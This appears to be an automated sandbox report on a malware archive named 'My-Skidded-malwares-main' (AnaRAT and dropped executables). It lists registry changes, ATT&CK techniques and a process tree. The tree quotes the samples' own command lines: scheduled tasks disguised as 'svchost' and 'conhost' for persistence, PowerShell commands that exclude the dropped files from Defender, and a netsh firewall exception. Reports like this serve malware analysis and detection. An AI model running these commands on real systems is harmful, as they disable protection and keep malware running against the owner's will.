Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 00000000ffffffff	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202020202	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\7	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}	Launcher.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\Mode = "4"	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg	Launcher.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\TV_TopViewID = "{82BA0782-5B7A-4569-B5D7-EC83085F08CC}"	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\MRUListEx = ffffffff	Launcher.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\LogicalViewMode = "1"	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_Classes\Local Settings	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0 = 9e0000001a00eebbfe23000010007db10d7bd29c934a973346cc89022e7c00002a0000000000efbe000000200000000000000000000000000000000000000000000000000100000020002a0000000000efbe7e47b3fbe4c93b4ba2bad3f5d3cd46f98207ba827a5b6945b5d7ec83085f08cc20002a0000000000efbe000000200000000000000000000000000000000000000000000000000100000020000000	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Launcher.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\0\NodeSlot = "7"	Launcher.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\Sort = 000000000000000000000000000000000200000030f125b7ef471a10a5f102608c9eebac0a0000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	Launcher.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\AllFolders\ComDlg\{FBB3477E-C9E4-4B3B-A2BA-D3F5D3CD46F9}\{82BA0782-5B7A-4569-B5D7-EC83085F08CC}\FFlags = "1"	Launcher.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202	Launcher.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\7\ComDlg\TV_TopViewVersion = "0"	Launcher.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2084	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 16 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2584	schtasks.exe
1676	schtasks.exe
2540	schtasks.exe
2360	schtasks.exe
2120	schtasks.exe
740	schtasks.exe
2636	schtasks.exe
1660	schtasks.exe
1568	schtasks.exe
1816	schtasks.exe
3056	schtasks.exe
2408	schtasks.exe
976	schtasks.exe
304	schtasks.exe
2592	schtasks.exe
1144	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1356	1231234.exe
1356	1231234.exe
1356	1231234.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
1328	powershell.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
872	powershell.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
344	a6a1abaf12a28ea8f6553356c3bdcf57.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2176	Powershell.exe

Suspicious use of AdjustPrivilegeToken 40 IoCs

description	pid	Process
Token: SeDebugPrivilege	344	a6a1abaf12a28ea8f6553356c3bdcf57.exe
Token: SeDebugPrivilege	1356	1231234.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeDebugPrivilege	892	Client.exe
Token: SeDebugPrivilege	872	powershell.exe
Token: SeDebugPrivilege	2952	zzzz.exe
Token: SeDebugPrivilege	2992	powershell.exe
Token: SeDebugPrivilege	2420	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	2332	powershell.exe
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeDebugPrivilege	796	csrss.exe
Token: SeDebugPrivilege	2712	svchost.exe
Token: 33	2712	svchost.exe
Token: SeIncBasePriorityPrivilege	2712	svchost.exe
Token: SeDebugPrivilege	1276	cleansaturn.exe
Token: SeDebugPrivilege	2176	Powershell.exe
Token: SeDebugPrivilege	976	chargeable.exe
Token: 33	976	chargeable.exe
Token: SeIncBasePriorityPrivilege	976	chargeable.exe
Token: 33	2712	svchost.exe
Token: SeIncBasePriorityPrivilege	2712	svchost.exe
Token: SeDebugPrivilege	2672	$77Microsoft To Do.exe
Token: 33	976	chargeable.exe
Token: SeIncBasePriorityPrivilege	976	chargeable.exe
Token: 33	2712	svchost.exe
Token: SeIncBasePriorityPrivilege	2712	svchost.exe
Token: 33	976	chargeable.exe
Token: SeIncBasePriorityPrivilege	976	chargeable.exe
Token: SeDebugPrivilege	1752	690c1b65a6267d6d0b201ba46089aabc.exe
Token: 33	2712	svchost.exe
Token: SeIncBasePriorityPrivilege	2712	svchost.exe
Token: 33	976	chargeable.exe
Token: SeIncBasePriorityPrivilege	976	chargeable.exe
Token: 33	584	0430dc1af2f95a33401d17b84b314a48cf619c9cae8e7fb8376466ca96ba8ec5.exe
Token: SeIncBasePriorityPrivilege	584	0430dc1af2f95a33401d17b84b314a48cf619c9cae8e7fb8376466ca96ba8ec5.exe
Token: 33	976	chargeable.exe
Token: SeIncBasePriorityPrivilege	976	chargeable.exe
Token: 33	2712	svchost.exe
Token: SeIncBasePriorityPrivilege	2712	svchost.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1600	DAMK.exe
1600	DAMK.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2292	chat_im_cooked.exe
1740	Launcher.exe
1600	DAMK.exe
1436	651654794161616171771852588547475885414152526396369965885471452525258.exe
1848	migwiz.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2536 wrote to memory of 584	2536	AnaRAT.exe	37
PID 2536 wrote to memory of 584	2536	AnaRAT.exe	37
PID 2536 wrote to memory of 584	2536	AnaRAT.exe	37
PID 2536 wrote to memory of 584	2536	AnaRAT.exe	37
PID 2536 wrote to memory of 584	2536	AnaRAT.exe	37
PID 2536 wrote to memory of 584	2536	AnaRAT.exe	37
PID 2536 wrote to memory of 584	2536	AnaRAT.exe	37
PID 2536 wrote to memory of 1464	2536	AnaRAT.exe	38
PID 2536 wrote to memory of 1464	2536	AnaRAT.exe	38
PID 2536 wrote to memory of 1464	2536	AnaRAT.exe	38
PID 2536 wrote to memory of 1464	2536	AnaRAT.exe	38
PID 2536 wrote to memory of 3056	2536	AnaRAT.exe	39
PID 2536 wrote to memory of 3056	2536	AnaRAT.exe	39
PID 2536 wrote to memory of 3056	2536	AnaRAT.exe	39
PID 2536 wrote to memory of 3056	2536	AnaRAT.exe	39
PID 2536 wrote to memory of 2860	2536	AnaRAT.exe	40
PID 2536 wrote to memory of 2860	2536	AnaRAT.exe	40
PID 2536 wrote to memory of 2860	2536	AnaRAT.exe	40
PID 2536 wrote to memory of 2860	2536	AnaRAT.exe	40
PID 2536 wrote to memory of 1356	2536	AnaRAT.exe	41
PID 2536 wrote to memory of 1356	2536	AnaRAT.exe	41
PID 2536 wrote to memory of 1356	2536	AnaRAT.exe	41
PID 2536 wrote to memory of 1356	2536	AnaRAT.exe	41
PID 2536 wrote to memory of 2336	2536	AnaRAT.exe	42
PID 2536 wrote to memory of 2336	2536	AnaRAT.exe	42
PID 2536 wrote to memory of 2336	2536	AnaRAT.exe	42
PID 2536 wrote to memory of 2336	2536	AnaRAT.exe	42
PID 3056 wrote to memory of 1652	3056	62264.exe	43
PID 3056 wrote to memory of 1652	3056	62264.exe	43
PID 3056 wrote to memory of 1652	3056	62264.exe	43
PID 3056 wrote to memory of 1652	3056	62264.exe	43
PID 3056 wrote to memory of 1652	3056	62264.exe	43
PID 3056 wrote to memory of 1652	3056	62264.exe	43
PID 3056 wrote to memory of 1652	3056	62264.exe	43
PID 2536 wrote to memory of 1420	2536	AnaRAT.exe	44
PID 2536 wrote to memory of 1420	2536	AnaRAT.exe	44
PID 2536 wrote to memory of 1420	2536	AnaRAT.exe	44
PID 2536 wrote to memory of 1420	2536	AnaRAT.exe	44
PID 2536 wrote to memory of 2088	2536	AnaRAT.exe	46
PID 2536 wrote to memory of 2088	2536	AnaRAT.exe	46
PID 2536 wrote to memory of 2088	2536	AnaRAT.exe	46
PID 2536 wrote to memory of 2088	2536	AnaRAT.exe	46
PID 2536 wrote to memory of 344	2536	AnaRAT.exe	47
PID 2536 wrote to memory of 344	2536	AnaRAT.exe	47
PID 2536 wrote to memory of 344	2536	AnaRAT.exe	47
PID 2536 wrote to memory of 344	2536	AnaRAT.exe	47
PID 2336 wrote to memory of 1328	2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	48
PID 2336 wrote to memory of 1328	2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	48
PID 2336 wrote to memory of 1328	2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	48
PID 3056 wrote to memory of 560	3056	62264.exe	50
PID 3056 wrote to memory of 560	3056	62264.exe	50
PID 3056 wrote to memory of 560	3056	62264.exe	50
PID 3056 wrote to memory of 560	3056	62264.exe	50
PID 2336 wrote to memory of 892	2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	51
PID 2336 wrote to memory of 892	2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	51
PID 2336 wrote to memory of 892	2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	51
PID 2336 wrote to memory of 1740	2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	52
PID 2336 wrote to memory of 1740	2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	52
PID 2336 wrote to memory of 1740	2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	52
PID 2336 wrote to memory of 872	2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	53
PID 2336 wrote to memory of 872	2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	53
PID 2336 wrote to memory of 872	2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	53
PID 2336 wrote to memory of 2952	2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	56
PID 2336 wrote to memory of 2952	2336	150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe	56

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zzzz.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	zzzz.exe

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\My-Skidded-malwares-main.zip
1⤵
PID:1624

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:1864

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\My-Skidded-malwares-main\AmongUs.vbs"
1⤵
PID:2732

C:\Users\Admin\Desktop\My-Skidded-malwares-main\AnaRAT.exe
"C:\Users\Admin\Desktop\My-Skidded-malwares-main\AnaRAT.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2536
- C:\Users\Admin\AppData\Local\0430dc1af2f95a33401d17b84b314a48cf619c9cae8e7fb8376466ca96ba8ec5.exe
  "C:\Users\Admin\AppData\Local\0430dc1af2f95a33401d17b84b314a48cf619c9cae8e7fb8376466ca96ba8ec5.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:584
- C:\Users\Admin\AppData\Local\690c1b65a6267d6d0b201ba46089aabc.exe
  "C:\Users\Admin\AppData\Local\690c1b65a6267d6d0b201ba46089aabc.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  PID:1464
- - C:\Users\Admin\AppData\Local\690c1b65a6267d6d0b201ba46089aabc.exe
    "C:\Users\Admin\AppData\Local\690c1b65a6267d6d0b201ba46089aabc.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1752
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\Admin\AppData\Local\Temp\svchost.exe"' & exit
      4⤵
      PID:2180
- C:\Users\Admin\AppData\Local\62264.exe
  "C:\Users\Admin\AppData\Local\62264.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:3056
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SCRIPT~1.EXE
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SCRIPT~1.EXE
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1652
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\svchost.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\svchost.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:560
  - - C:\Users\Admin\AppData\Roaming\svchost.exe
      "C:\Users\Admin\AppData\Roaming\svchost.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2712
- C:\Users\Admin\AppData\Local\73304b5c73a1c90b192c8748348509c213890807d3ca34b08c8fb84652b0cbd3.exe
  "C:\Users\Admin\AppData\Local\73304b5c73a1c90b192c8748348509c213890807d3ca34b08c8fb84652b0cbd3.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  PID:2860
- - C:\Users\Admin\AppData\Roaming\confuse\chargeable.exe
    "C:\Users\Admin\AppData\Roaming\confuse\chargeable.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:1408
  - - C:\Users\Admin\AppData\Roaming\confuse\chargeable.exe
      C:\Users\Admin\AppData\Roaming\confuse\chargeable.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:976
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\confuse\chargeable.exe" "chargeable.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:2988
- C:\Users\Admin\AppData\Local\1231234.exe
  "C:\Users\Admin\AppData\Local\1231234.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1356
- - C:\Windows\system32\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp8CA6.tmp.bat""
    3⤵
    - Loads dropped DLL
    PID:820
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:2420
  - - C:\Users\Admin\AppData\Roaming\DriverrHub\$77Microsoft To Do.exe
      "C:\Users\Admin\AppData\Roaming\DriverrHub\$77Microsoft To Do.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:2672
- C:\Users\Admin\AppData\Local\150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe
  "C:\Users\Admin\AppData\Local\150704149f7e54c4f7cbdb776f33173979791bc0c625f42477815923d13f8712.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Client.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1328
- - C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    3⤵
    - Modifies WinLogon for persistence
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    PID:892
  - - C:\Windows\system32\CMD.exe
      "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" & exit
      4⤵
      PID:3064
    - - C:\Windows\system32\schtasks.exe
        
        SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3056
- - C:\Users\Admin\AppData\Local\Temp\Launcher.exe
    "C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of SetWindowsHookEx
    PID:1740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\zzzz.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:872
- - C:\Users\Admin\AppData\Local\Temp\zzzz.exe
    "C:\Users\Admin\AppData\Local\Temp\zzzz.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Drops desktop.ini file(s)
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:2952
- C:\Users\Admin\AppData\Local\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
  "C:\Users\Admin\AppData\Local\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1420
- C:\Users\Admin\AppData\Local\651654794161616171771852588547475885414152526396369965885471452525258.exe
  "C:\Users\Admin\AppData\Local\651654794161616171771852588547475885414152526396369965885471452525258.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  PID:2088
- - C:\Users\Admin\AppData\Local\651654794161616171771852588547475885414152526396369965885471452525258.exe
    "C:\Users\Admin\AppData\Local\651654794161616171771852588547475885414152526396369965885471452525258.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:1436
- C:\Users\Admin\AppData\Local\a6a1abaf12a28ea8f6553356c3bdcf57.exe
  "C:\Users\Admin\AppData\Local\a6a1abaf12a28ea8f6553356c3bdcf57.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\conhost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Microsoft Sync Framework\csrss.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\AppPatch\it-IT\csrss.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\IME\ja-JP\Client.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Microsoft.NET\spoolsv.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:2332
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\DUMmrDSxBU.bat"
    3⤵
    PID:2904
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2352
  - - C:\Windows\system32\w32tm.exe
      w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
      4⤵
      PID:1916
  - - C:\Program Files (x86)\Microsoft Sync Framework\csrss.exe
      "C:\Program Files (x86)\Microsoft Sync Framework\csrss.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:796
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\89MOUOnUXi.bat"
        5⤵
        
        PID:448

C:\Users\Admin\Desktop\My-Skidded-malwares-main\chat_im_cooked.exe
"C:\Users\Admin\Desktop\My-Skidded-malwares-main\chat_im_cooked.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2292

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2540

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Default User\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2360

C:\Windows\system32\schtasks.exe
